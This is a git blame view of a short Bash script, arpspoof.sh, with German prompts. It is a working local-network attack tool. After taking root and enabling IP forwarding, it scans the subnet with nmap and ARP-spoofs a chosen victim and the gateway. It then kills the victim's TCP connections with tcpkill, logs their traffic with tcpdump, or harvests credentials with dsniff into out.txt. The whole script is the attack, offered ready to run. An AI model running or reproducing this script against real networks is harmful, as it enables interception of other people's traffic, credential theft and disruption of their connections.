shell-scripte-code/arpspoof.sh

39 lines
649 B
Bash
Raw Normal View History

2017-09-12 01:28:58 +02:00
#!/bin/bash
set -ex
2017-09-12 01:34:17 +02:00
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root" 1>&2
2018-02-02 13:30:19 +01:00
sudo $0
exit 0
2017-09-12 01:34:17 +02:00
fi
2017-09-12 01:37:03 +02:00
echo 1 > /proc/sys/net/ipv4/ip_forward
2018-07-19 16:14:33 +02:00
gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 )
2017-09-12 01:28:58 +02:00
2018-07-19 16:14:33 +02:00
if [ -z "$1" ]; then
ip link
read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul
else
modul="$1"
fi
if [ -z "$2" ]; then
nmap -sn ${gateway}/24
read -p "Wie heisst die IP? : " ip
else
ip="$2"
fi
2017-09-12 01:28:58 +02:00
arpspoof -i $modul -t $ip -r $gateway &
2018-07-19 16:14:33 +02:00
sleep 2
if [ -z "$3" ]; then
tcpkill -9 host $ip
elif [ "$3" == "tcpdump" ]; then
tcpdump -i $modul -A host $ip >> out.txt
else
dsniff -i $modul -w out.txt
fi